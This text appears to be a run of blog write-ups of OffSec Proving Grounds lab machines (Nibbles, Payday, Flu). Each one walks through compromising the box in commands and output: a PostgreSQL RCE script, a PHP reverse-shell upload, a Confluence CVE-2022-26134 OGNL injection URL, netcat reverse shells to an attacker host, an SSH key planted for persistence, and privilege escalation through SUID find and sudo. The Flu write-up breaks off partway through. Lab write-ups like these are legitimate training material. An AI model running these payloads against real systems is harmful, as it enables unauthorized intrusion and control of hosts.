PostgreSQL Database on $VICTIM:5437 [+] Connection to Database established [+] Checking PostgreSQL version [+] PostgreSQL 11.7 is likely vulnerable [+] Creating table _dc56f7c4e6053e0f36300eaae02301b2 [+] Command executed postgres [+] Deleting table _dc56f7c4e6053e0f36300eaae02301b2 We achieved RCE!\nWe enumerate a bit more and then we are going to establish a reverse shell.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 └─$ python 50847.py -i $VICTIM -p 5437 -c \u0026#39;pwd;cat /etc/passwd;id\u0026#39; [+] Connecting to PostgreSQL Database on $VICTIM:5437 [+] Connection to Database established [+] Checking PostgreSQL version [+] PostgreSQL 11.7 is likely vulnerable [+] Creating table _f01e0f99e3cda26f0637b0419d9ba1ee [+] Command executed /var/lib/postgresql/11/main root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:104:110::/nonexistent:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin wilson:x:1000:1000:wilson,,,:/home/wilson:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin postgres:x:106:113:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash Debian-snmp:x:107:114::/var/lib/snmp:/bin/false ftp:x:108:117:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin uid=106(postgres) gid=113(postgres) groups=113(postgres),112(ssl-cert) For us port 4444 didn\u0026rsquo;t work so there must be an outbound block or an allowlist maybe. So we used port 80 and we were able to establish a reverse shell with out favorite netcat payload.\n1 2 3 4 5 6 7 └─$ python 50847.py -i $VICTIM -p 5437 -c \u0026#39;busybox nc $ATTACKER 80 -e /bin/bash\u0026#39; [+] Connecting to PostgreSQL Database on $VICTIM:5437 [+] Connection to Database established [+] Checking PostgreSQL version [+] PostgreSQL 11.7 is likely vulnerable [+] Creating table _b96e1312012c79eb0bf2e667f0aa5ec5 1 2 3 4 5 6 └─$ rlwrap nc -lnvp 80 listening on [any] 80 ... connect to [$ATTACKER] from (UNKNOWN) [$VICTIM] 44688 python -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; postgres@nibbles:/var/lib/postgresql/11/main$ That is how we get a shell and we can get the local.txt.\nRoot SUID Find While enumerating the host for privilege escalation vectors we come across find having the SUID bit enabled.\n1 -rwsr-xr-x 1 root root 309K Feb 16 2019 /usr/bin/find Tip We could have found the above either by running linpeas or just manually enumerating SUID binaries with: find / -perm -u=s -type f 2\u0026gt;/dev/null. This is pretty easily exploitable as we can see from GTFOBins.\n1 2 3 4 5 6 7 8 9 10 postgres@nibbles:/$ find . -exec /bin/sh -p \\; -quit find . -exec /bin/sh -p \\; -quit # whoami whoami root # cd /root cd /root # ls ls proof.txt This is how we get root.\n","permalink":"https://p4n4s.com/posts/offsec/nibbles/","summary":"Leverage a misconfigured PostgreSQL database server that is listening on all interfaces with default credentials to gain code execution in this lab. Next, exploit misconfigured SUID permissions on the /usr/bin/find binary for privilege escalation. This approach enhances your skills in identifying misconfigurations and escalating privileges effectively.","title":"PG Practice: Linux - Nibbles"},{"content":"Machine Info Spoiler In this lab, Learners exploit a Local File Inclusion (LFI) vulnerability in the CS-Cart application to access sensitive system files and uncover critical usernames. Using the retrieved information, Learners will brute-force SSH credentials to gain access to the system and escalate privileges to root using a sudo misconfiguration. This exercise enhances skills in web application exploitation, brute-forcing, and privilege escalation. User Reconnaissance We are going to start by running our nmap scan:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 ports=$(nmap -p- --min-rate=1000 -T4 $VICTIM | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) Running second nmap scan with open ports: 22,80,110,139,143,445,993,995 Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-09 20:43 CET Nmap scan report for $VICTIM Host is up (0.032s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.6p1 Debian 5build1 (protocol 2.0) | ssh-hostkey: | 1024 f3:6e:87:04:ea:2d:b3:60:ff:42:ad:26:67:17:94:d5 (DSA) |_ 2048 bb:03:ce:ed:13:f1:9a:9e:36:03:e2:af:ca:b2:35:04 (RSA) 80/tcp open http Apache httpd 2.2.4 ((Ubuntu) PHP/5.2.3-1ubuntu6) |_http-title: CS-Cart. Powerful PHP shopping cart software |_http-server-header: Apache/2.2.4 (Ubuntu) PHP/5.2.3-1ubuntu6 110/tcp open pop3 Dovecot pop3d |_pop3-capabilities: SASL TOP UIDL CAPA PIPELINING RESP-CODES STLS | sslv2: | SSLv2 supported | ciphers: | SSL2_RC4_128_WITH_MD5 | SSL2_RC2_128_CBC_EXPORT40_WITH_MD5 | SSL2_RC2_128_CBC_WITH_MD5 | SSL2_RC4_128_EXPORT40_WITH_MD5 |_ SSL2_DES_192_EDE3_CBC_WITH_MD5 |_ssl-date: 2026-03-09T19:44:11+00:00; +24s from scanner time. | ssl-cert: Subject: commonName=ubuntu01/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX | Not valid before: 2008-04-25T02:02:48 |_Not valid after: 2008-05-25T02:02:48 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: MSHOME) 143/tcp open imap Dovecot imapd | ssl-cert: Subject: commonName=ubuntu01/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX | Not valid before: 2008-04-25T02:02:48 |_Not valid after: 2008-05-25T02:02:48 | sslv2: | SSLv2 supported | ciphers: | SSL2_RC4_128_WITH_MD5 | SSL2_RC2_128_CBC_EXPORT40_WITH_MD5 | SSL2_RC2_128_CBC_WITH_MD5 | SSL2_RC4_128_EXPORT40_WITH_MD5 |_ SSL2_DES_192_EDE3_CBC_WITH_MD5 |_ssl-date: 2026-03-09T19:44:13+00:00; +24s from scanner time. |_imap-capabilities: IMAP4rev1 Capability LOGIN-REFERRALS completed SASL-IR LOGINDISABLEDA0001 UNSELECT LITERAL+ IDLE STARTTLS OK NAMESPACE MULTIAPPEND CHILDREN THREAD=REFERENCES SORT 445/tcp open netbios-ssn Samba smbd 3.0.26a (workgroup: MSHOME) 993/tcp open ssl/imap Dovecot imapd | ssl-cert: Subject: commonName=ubuntu01/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX | Not valid before: 2008-04-25T02:02:48 |_Not valid after: 2008-05-25T02:02:48 995/tcp open ssl/pop3 Dovecot pop3d | sslv2: | SSLv2 supported | ciphers: | SSL2_RC4_128_WITH_MD5 | SSL2_RC2_128_CBC_EXPORT40_WITH_MD5 | SSL2_RC2_128_CBC_WITH_MD5 | SSL2_RC4_128_EXPORT40_WITH_MD5 |_ SSL2_DES_192_EDE3_CBC_WITH_MD5 | ssl-cert: Subject: commonName=ubuntu01/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX | Not valid before: 2008-04-25T02:02:48 |_Not valid after: 2008-05-25T02:02:48 |_ssl-date: 2026-03-09T19:44:11+00:00; +24s from scanner time. Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|WAP|broadband router|webcam|firewall Running (JUST GUESSING): Linux 2.6.X|3.X (96%), Asus embedded (95%), AXIS embedded (95%), WatchGuard embedded (95%), Linksys embedded (94%), Cisco embedded (94%) OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:2.6.22 cpe:/h:asus:rt-ac66u cpe:/h:asus:rt-n10 cpe:/h:axis:211_network_camera cpe:/h:watchguard:firebox_x1250e cpe:/h:linksys:wrv54g Aggressive OS guesses: Linux 2.6.32 - 3.10 (96%), OpenWrt Kamikaze 7.09 (Linux 2.6.22) (95%), Asus RT-AC66U router (Linux 2.6) (95%), Asus RT-N10 router or AXIS 211A Network Camera (Linux 2.6) (95%), Asus RT-N16 WAP (Linux 2.6) (95%), Asus RT-N66U WAP (Linux 2.6) (95%), Tomato 1.28 (Linux 2.6.22) (95%), WatchGuard FireBox X1250e firewall (95%), Linux 2.6.16 (94%), Linksys WRV54G WAP (94%) No exact OS matches for host (test conditions non-ideal). Network Distance: 4 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_nbstat: NetBIOS name: PAYDAY, NetBIOS user: \u0026lt;unknown\u0026gt;, NetBIOS MAC: \u0026lt;unknown\u0026gt; (unknown) | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_smb2-time: Protocol negotiation failed (SMB2) | smb-os-discovery: | OS: Unix (Samba 3.0.26a) | Computer name: payday | NetBIOS computer name: | Domain name: | FQDN: payday |_ System time: 2026-03-09T15:44:04-04:00 |_clock-skew: mean: 48m25s, deviation: 1h47m22s, median: 23s CS-Cart On port 80 we have CS-Cart an eCommerce platform which has multiple options to explore on teh website. At first we tried registering a new user and it worked.\nWe do perform as well a directory enumeration as always.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 └─$ ffuf -u http://$VICTIM/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -r Thumbs.db [Status: 200, Size: 1, Words: 1, Lines: 2, Duration: 20ms] admin [Status: 200, Size: 9483, Words: 393, Lines: 263, Duration: 80ms] admin.php [Status: 200, Size: 9483, Words: 393, Lines: 263, Duration: 104ms] addons [Status: 200, Size: 28074, Words: 1558, Lines: 676, Duration: 75ms] catalog [Status: 200, Size: 716, Words: 41, Lines: 14, Duration: 21ms] cgi-bin/ [Status: 403, Size: 308, Words: 22, Lines: 11, Duration: 42ms] chart [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 167ms] classes [Status: 200, Size: 2174, Words: 137, Lines: 22, Duration: 301ms] .htpasswd [Status: 403, Size: 309, Words: 22, Lines: 11, Duration: 3078ms] .hta [Status: 403, Size: 304, Words: 22, Lines: 11, Duration: 3079ms] config [Status: 200, Size: 13, Words: 2, Lines: 1, Duration: 88ms] core [Status: 200, Size: 28074, Words: 1558, Lines: 676, Duration: 76ms] .htaccess [Status: 403, Size: 309, Words: 22, Lines: 11, Duration: 4063ms] image [Status: 200, Size: 1971, Words: 16, Lines: 12, Duration: 111ms] init [Status: 200, Size: 13, Words: 2, Lines: 1, Duration: 22ms] index.php [Status: 200, Size: 28074, Words: 1558, Lines: 676, Duration: 99ms] include [Status: 200, Size: 28074, Words: 1558, Lines: 676, Duration: 72ms] install [Status: 200, Size: 7731, Words: 346, Lines: 220, Duration: 93ms] index [Status: 200, Size: 28074, Words: 1558, Lines: 676, Duration: 202ms] images [Status: 200, Size: 28074, Words: 1558, Lines: 676, Duration: 174ms] payments [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 84ms] prepare [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 26ms] server-status [Status: 403, Size: 313, Words: 22, Lines: 11, Duration: 30ms] skins [Status: 200, Size: 1287, Words: 77, Lines: 17, Duration: 119ms] store_closed [Status: 200, Size: 575, Words: 44, Lines: 16, Duration: 53ms] var [Status: 200, Size: 28074, Words: 1558, Lines: 676, Duration: 69ms] We see many interesting 200 responses but we focus on the admin page. When trying \u0026ldquo;default credentials\u0026rdquo; we manage to actually authenticate as admin. admin creds admin:admin We have successfully authenticated and we take a bit of time to browse the options that the admin has. We do see options to upload files and backup the database. We also find the version of the website which is 1.3.3. Looking it up online we see a popular authenticated RCE for CS-Cart 1.3.3. We will jump straight to the exploit. In order to exploit this we need to get a PHP shell and upload it in the Template editor. The .php extension is not allowed so we will use .phtml. We are going to use a reverse php shell from revshells.com\nAfter we upload it we start up our listener and we move to http://[victim]/skins/rev.phtml to trigger it.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 └─$ rlwrap nc -lnvp 4444 listening on [any] 4444 ... connect to [$ATTACKER] from (UNKNOWN) [$VICTIM] 55175 Linux payday 2.6.22-14-server #1 SMP Sun Oct 14 23:34:23 GMT 2007 i686 GNU/Linux 16:08:20 up 28 min, 0 users, load average: 0.00, 0.02, 0.21 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) bash: no job control in this shell www-data@payday:/$ www-data@payday:/$ cd home cd home www-data@payday:/home$ ls ls patrick www-data@payday:/home$ cd patrick cd patrick www-data@payday:/home/patrick$ ls ls local.txt That is how we get a shell and we can get the local.txt.\nRoot Root Paranoia Tip At first we tried to establish an SSH connection with pair of keys but that was not possible as the home directory of the user www-data had too wide access which the ssh service didn\u0026rsquo;t allow with its strict mode turned on. We browsed for a while around and we did find the database credentials.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 /var/www# cat config.php cat config.php \u0026lt;?php // // $Id: config.php 1822 2006-05-17 16:44:43Z // if ( !defined(\u0026#39;IN_CSCART\u0026#39;) ) { die(\u0026#39;Access denied\u0026#39;); } $db_host = \u0026#39;localhost\u0026#39;; $db_name = \u0026#39;cscart\u0026#39;; $db_user = \u0026#39;root\u0026#39;; $db_password = \u0026#39;root\u0026#39;; Furthermore a local DB was indeed running and we were able to authenticate but nothing was interesting was found.\nWe then run linpeas.sh and we managed to find that the /root directory was accessible but we couldn\u0026rsquo;t read the flag nor was any key available.\n1 2 3 4 5 6 7 8 9 10 11 ls -al /root ls -al /root total 28 drwxr-xr-x 3 root root 4096 2026-03-10 06:35 . drwxr-xr-x 21 root root 4096 2008-04-24 22:02 .. -rw------- 1 root root 0 2020-09-03 08:57 .bash_history -rw-r--r-- 1 root root 2448 2016-04-19 03:51 .bashrc -rw-r--r-- 1 root root 2296 2017-03-30 03:28 capture.cap -rw-r--r-- 1 root root 141 2007-05-15 12:07 .profile ---------- 1 root root 33 2026-03-10 06:35 proof.txt drwxr-xr-x 2 root root 4096 2008-09-24 00:24 .ssh We did find though a pcap file which it made sense of course to investigate. Info A PCAP file (Packet Capture) is a binary file format that stores raw network traffic packets. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 www-data@payday:/root$ /usr/sbin/tcpdump -r capture.cap -X reading from file capture.cap, link-type EN10MB (Ethernet) ..... 12:24:28.194032 IP 10.1.1.248.40909 \u0026gt; 10.11.1.220.ftp: P 1:13(12) ack 149 win 229 \u0026lt;nop,nop,timestamp 1849725 148456\u0026gt; 0x0000: 4510 0040 f2b0 4000 4006 797a 0a01 01f8 E..@..@.@.yz.... 0x0010: 0a0b 01dc 9fcd 0015 edcb c572 8194 9c33 ...........r...3 0x0020: 8018 00e5 09ef 0000 0101 080a 001c 397d ..............9} 0x0030: 0002 43e8 5553 4552 2062 7265 7474 0d0a ..C.USER.brett.. 12:24:28.342433 IP 10.11.1.220.ftp \u0026gt; 10.1.1.248.40909: P 149:182(33) ack 13 win 258 \u0026lt;nop,nop,timestamp 148609 1849725\u0026gt; 0x0000: 4500 0055 0e4e 4000 8006 1dd8 0a0b 01dc E..U.N@......... 0x0010: 0a01 01f8 0015 9fcd 8194 9c33 edcb c57e ...........3...~ 0x0020: 8018 0102 b5b0 0000 0101 080a 0002 4481 ..............D. 0x0030: 001c 397d 3333 3120 5061 7373 776f 7264 ..9}331.Password 0x0040: 2072 6571 7569 7265 6420 666f 7220 6272 .required.for.br 0x0050: 6574 740d 0a ett.. 12:24:28.342540 IP 10.1.1.248.40909 \u0026gt; 10.11.1.220.ftp: . ack 182 win 229 \u0026lt;nop,nop,timestamp 1849762 148609\u0026gt; 0x0000: 4510 0034 f2b1 4000 4006 7985 0a01 01f8 E..4..@.@.y..... 0x0010: 0a0b 01dc 9fcd 0015 edcb c57e 8194 9c54 ...........~...T 0x0020: 8010 00e5 b803 0000 0101 080a 001c 39a2 ..............9. 0x0030: 0002 4481 ..D. 12:24:30.985896 IP 10.1.1.248.40909 \u0026gt; 10.11.1.220.ftp: P 13:36(23) ack 182 win 229 \u0026lt;nop,nop,timestamp 1850423 148609\u0026gt; 0x0000: 4510 004b f2b2 4000 4006 796d 0a01 01f8 E..K..@.@.ym.... 0x0010: 0a0b 01dc 9fcd 0015 edcb c57e 8194 9c54 ...........~...T 0x0020: 8018 00e5 6342 0000 0101 080a 001c 3c37 ....cB........\u0026lt;7 0x0030: 0002 4481 5041 5353 2069 6c6f 7665 7365 ..D.PASS.ilovese 0x0040: 6375 7269 7479 746f 6f0d 0a curitytoo.. 12:24:31.131666 IP 10.11.1.220.ftp \u0026gt; 10.1.1.248.40909: P 182:197(15) ack 36 win 258 \u0026lt;nop,nop,timestamp 148888 1850423\u0026gt; 0x0000: 4500 0043 0e57 4000 8006 1de1 0a0b 01dc E..C.W@......... 0x0010: 0a01 01f8 0015 9fcd 8194 9c54 edcb c595 ...........T.... 0x0020: 8018 0102 a001 0000 0101 080a 0002 4598 ..............E. 0x0030: 001c 3c37 3233 3020 4c6f 6767 6564 206f ..\u0026lt;7230.Logged.o 0x0040: 6e0d 0a n.. ..... From our search we managed to get a set of credentials. Specifically brett:ilovesecuritytoo as we can see from the hex editor above. But we couldn\u0026rsquo;t use them nowhere! This was a bit frustrating to say the least.\nLater, we explored many exploits but none worked for us. Linux kernel and many software were ancient but nothing worked for our purposes since we didn\u0026rsquo;t have any user password.\nWe tried many different ideas but it seemed that we were stuck\u0026hellip;.\nAnd then we saw from the linpeas output a hint to try on all known users the username as password! So basically it gave us the idea of bruteforcing but we tried something for patrick user and it worked!\nPatrick\u0026#39;s password 1 2 3 4 5 6 www-data@payday:/tmp$ su patrick su patrick Password: patrick patrick@payday:/tmp$ Here we paused a little bit to calm down as we had lost so much time on other attack paths whereas this one was stupid-simple. After two rabbit holes we got the intended one.\nWith patrick user we can just elevate our privileges to root as it is permitted.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 patrick@payday:/tmp$ sudo -l sudo -l We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things: #1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility. [sudo] password for patrick:patrick User patrick may run the following commands on this host: (ALL) ALL patrick@payday:/tmp$ sudo su sudo su root@payday:/tmp# cd /root cd /root root@payday:~# ls ls capture.cap proof.txt root@payday:~# cat proof.txt cat proof.txt \u0026lt;REDACTED\u0026gt; root@payday:~# Tip I guess the tip here is to never skip trying username = password\u0026hellip;. ","permalink":"https://p4n4s.com/posts/offsec/payday/","summary":"In this lab, you will exploit a Local File Inclusion (LFI) vulnerability in an outdated version of CS Cart installed on the PayDay lab. This lab enhances your skills in vulnerability detection, exploitation, and system access techniques.","title":"PG Practice: Linux - Payday"},{"content":"Machine Info Spoiler In this lab, learners exploit CVE-2022-26134, a critical Remote Code Execution (RCE) vulnerability in Atlassian Confluence (version 7.13.6). By leveraging OGNL injection, attackers gain initial access to the system, discover misconfigured cron jobs, and escalate privileges to root by manipulating executable scripts. User Reconnaissance We are going to start by running our nmap scan:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 ports=$(nmap -p- --min-rate=1000 -T4 $VICTIM | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) └─$ nmap -p$ports -sC -sV $VICTIM Running second nmap scan with open ports: 22,8090,8091 Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-09 13:59 CET Nmap scan report for $VICTIM Host is up (0.051s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 02:79:64:84:da:12:97:23:77:8a:3a:60:20:96:ee:cf (ECDSA) |_ 256 dd:49:a3:89:d7:57:ca:92:f0:6c:fe:59:a6:24:cc:87 (ED25519) 8090/tcp open http Apache Tomcat (language: en) | http-title: Log In - Confluence |_Requested resource was /login.action?os_destination=%2Findex.action\u0026amp;permissionViolation=true |_http-trane-info: Problem with XML parsing of /evox/about 8091/tcp open jamlink? | fingerprint-strings: | FourOhFourRequest: | HTTP/1.1 204 No Content | Server: Aleph/0.4.6 | Date: Mon, 09 Mar 2026 13:00:44 GMT | Connection: Close | GetRequest: | HTTP/1.1 204 No Content | Server: Aleph/0.4.6 | Date: Mon, 09 Mar 2026 13:00:11 GMT | Connection: Close | HTTPOptions: | HTTP/1.1 200 OK | Access-Control-Allow-Origin: * | Access-Control-Max-Age: 31536000 | Access-Control-Allow-Methods: OPTIONS, GET, PUT, POST | Server: Aleph/0.4.6 | Date: Mon, 09 Mar 2026 13:00:11 GMT | Connection: Close | content-length: 0 | Help, Kerberos, LDAPSearchReq, LPDString, SSLSessionReq, TLSSessionReq, TerminalServerCookie: | HTTP/1.1 414 Request-URI Too Long | text is empty (possibly HTTP/0.9) | RTSPRequest: | HTTP/1.1 200 OK | Access-Control-Allow-Origin: * | Access-Control-Max-Age: 31536000 | Access-Control-Allow-Methods: OPTIONS, GET, PUT, POST | Server: Aleph/0.4.6 | Date: Mon, 09 Mar 2026 13:00:11 GMT | Connection: Keep-Alive | content-length: 0 | SIPOptions: | HTTP/1.1 200 OK | Access-Control-Allow-Origin: * | Access-Control-Max-Age: 31536000 | Access-Control-Allow-Methods: OPTIONS, GET, PUT, POST | Server: Aleph/0.4.6 | Date: Mon, 09 Mar 2026 13:00:50 GMT | Connection: Keep-Alive |_ content-length: 0 Confluence CVE-2022-26134 Browsing port 8090 we get redirected to the Confluence login page. Looking at the page we see it\u0026rsquo;s version which is 7.13.6. Looking it up online we see a popular unauthenticated RCE with the number CVE-2022-26134. We will jump straight to the exploit.\nFirst we are going to test the command execution with just ping -c 4 IP and see if we get traffic on our attacker host. In order to do that we need to inject an OGNL payload to the app like this ${@java.lang.Runtime@getRuntime().exec(\u0026quot;ping -c 4 IP\u0026quot;)}. We are going to place this payload on the URL of the HTTP request and we are going to do a simple GET request.\nInfo Object-Graph Navigation Language (OGNL) is an open-source Expression Language (EL) for Java, used to get and set properties of Java objects, execute methods, and manipulate arrays. It is widely used in Java EE web frameworks like Apache Struts for dynamic code evaluation and template rendering, often acting as a bridge between UI components and backend models. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 └─$ curl -v http://$VICTIM:8090/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22ping%20-c%204%20$ATTACKER%22%29%7D/ * Trying $VICTIM:8090... * Connected to $VICTIM ($VICTIM) port 8090 * using HTTP/1.x \u0026gt; GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22ping%20-c%204%20$ATTACKER%22%29%7D/ HTTP/1.1 \u0026gt; Host: $VICTIM:8090 \u0026gt; User-Agent: curl/8.14.1 \u0026gt; Accept: */* \u0026gt; * Request completely sent off \u0026lt; HTTP/1.1 302 \u0026lt; Cache-Control: no-store \u0026lt; Expires: Thu, 01 Jan 1970 00:00:00 GMT \u0026lt; X-Confluence-Request-Time: 1773062563467 \u0026lt; Set-Cookie: JSESSIONID=9B568B8D987D05AC62B3852F847D858E; Path=/; HttpOnly \u0026lt; X-XSS-Protection: 1; mode=block \u0026lt; X-Content-Type-Options: nosniff \u0026lt; X-Frame-Options: SAMEORIGIN \u0026lt; Content-Security-Policy: frame-ancestors \u0026#39;self\u0026#39; \u0026lt; Location: /login.action?os_destination=%2F%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22ping+-c+4+$ATTACKER%22%29%7D%2Findex.action\u0026amp;permissionViolation=true \u0026lt; Content-Type: text/html;charset=UTF-8 \u0026lt; Content-Length: 0 \u0026lt; Date: Mon, 09 Mar 2026 13:22:52 GMT \u0026lt; * Connection #0 to host $VICTIM left intact 1 2 3 4 5 6 7 8 9 10 11 └─$ sudo tcpdump -i tun0 icmp tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes 14:22:33.632649 IP $VICTIM \u0026gt; kali: ICMP echo request, id 21035, seq 1, length 64 14:22:33.632715 IP kali \u0026gt; $VICTIM: ICMP echo reply, id 21035, seq 1, length 64 14:22:34.674184 IP $VICTIM \u0026gt; kali: ICMP echo request, id 21035, seq 2, length 64 14:22:34.674219 IP kali \u0026gt; $VICTIM: ICMP echo reply, id 21035, seq 2, length 64 14:22:35.637150 IP $VICTIM \u0026gt; kali: ICMP echo request, id 21035, seq 3, length 64 14:22:35.637170 IP kali \u0026gt; $VICTIM: ICMP echo reply, id 21035, seq 3, length 64 14:22:36.638109 IP $VICTIM \u0026gt; kali: ICMP echo request, id 21035, seq 4, length 64 14:22:36.638173 IP kali \u0026gt; $VICTIM: ICMP echo reply, id 21035, seq 4, length 64 We do receive traffic back which means that the exploit worked and our injected code worked!\nLet\u0026rsquo;s now establish a reverse shell with this RCE payload busybox nc $ATTACKER 4444 -e bash.\n1 curl -v http://$VICTIM:8090/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22busybox%20nc%20$ATTACKER%204444%20-e%20bash%22%29%7D/ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 rlwrap nc -lnvp 4444 listening on [any] 4444 ... connect to [$ATTACKER] from (UNKNOWN) [$VICTIM] 57216 pwd /opt/atlassian/confluence/bin which python3 /usr/bin/python3 python3 -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; confluence@flu:/opt/atlassian/confluence/bin$ whoami whoami confluence confluence@flu:/opt/atlassian/confluence/bin$ id id uid=1001(confluence) gid=1001(confluence) groups=1001(confluence) confluence@flu:/opt/atlassian/confluence/bin$ pwd pwd /opt/atlassian/confluence/bin confluence@flu:/opt/atlassian/confluence/bin$ 1 2 3 confluence@flu:/home/confluence$ ls ls local.txt That is how we get a shell and we can get the local.txt.\nRoot Establish an SSH shell First we are going to make a SSH key pair in order to connect via SSH and have a form of persistence on the host as user confluence.\n1 2 3 4 5 6 7 8 9 10 11 12 13 ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/home/confluence/.ssh/id_rsa): Created directory \u0026#39;/home/confluence/.ssh\u0026#39;. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /home/confluence/.ssh/id_rsa Your public key has been saved in /home/confluence/.ssh/id_rsa.pub The key fingerprint is: SHA256:shDnqs0z5hN3gKfRFC0WXhbD26Zt8IA2yLeW7yETD6w confluence@flu We copy it to our kali machine with simple copy past. Tip Don\u0026rsquo;t forget to add the public key to the authorized_keys files! 1 2 3 4 confluence@flu:/home/confluence/.ssh$ cat id_rsa ..... cat id_rsa.pub \u0026gt;\u0026gt; authorized_keys 1 2 3 4 5 6 7 8 9 10 ssh -i id_rsa confluence@$VICTIM ... $ ls local.txt $ bash confluence@flu:~$ ls local.txt confluence@flu:~$ pwd /home/confluence Backup Script Looking at the /opt directory immediately we see a log-backup.sh script that is used for backing up the site.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 confluence@flu:/opt$ cat log-backup.sh cat log-backup.sh #!/bin/bash CONFLUENCE_HOME=\u0026#34;/opt/atlassian/confluence/\u0026#34; LOG_DIR=\u0026#34;$CONFLUENCE_HOME/logs\u0026#34; BACKUP_DIR=\u0026#34;/root/backup\u0026#34; TIMESTAMP=$(date \u0026#34;+%Y%m%d%H%M%S\u0026#34;) # Create a backup of log files cp -r $LOG_DIR $BACKUP_DIR/log_backup_$TIMESTAMP tar -czf $BACKUP_DIR/log_backup_$TIMESTAMP.tar.gz $BACKUP_DIR/log_backup_$TIMESTAMP # Cleanup old backups find $BACKUP_DIR -name \u0026#34;log_backup_*\u0026#34; -mmin +5 -exec rm -rf {} \\; Looking at the code we can clearly see that it backups up the data to the root folder which means it needs to run as root. We can see also that we are the owner of the script! What we will update the script and add a malicious command that 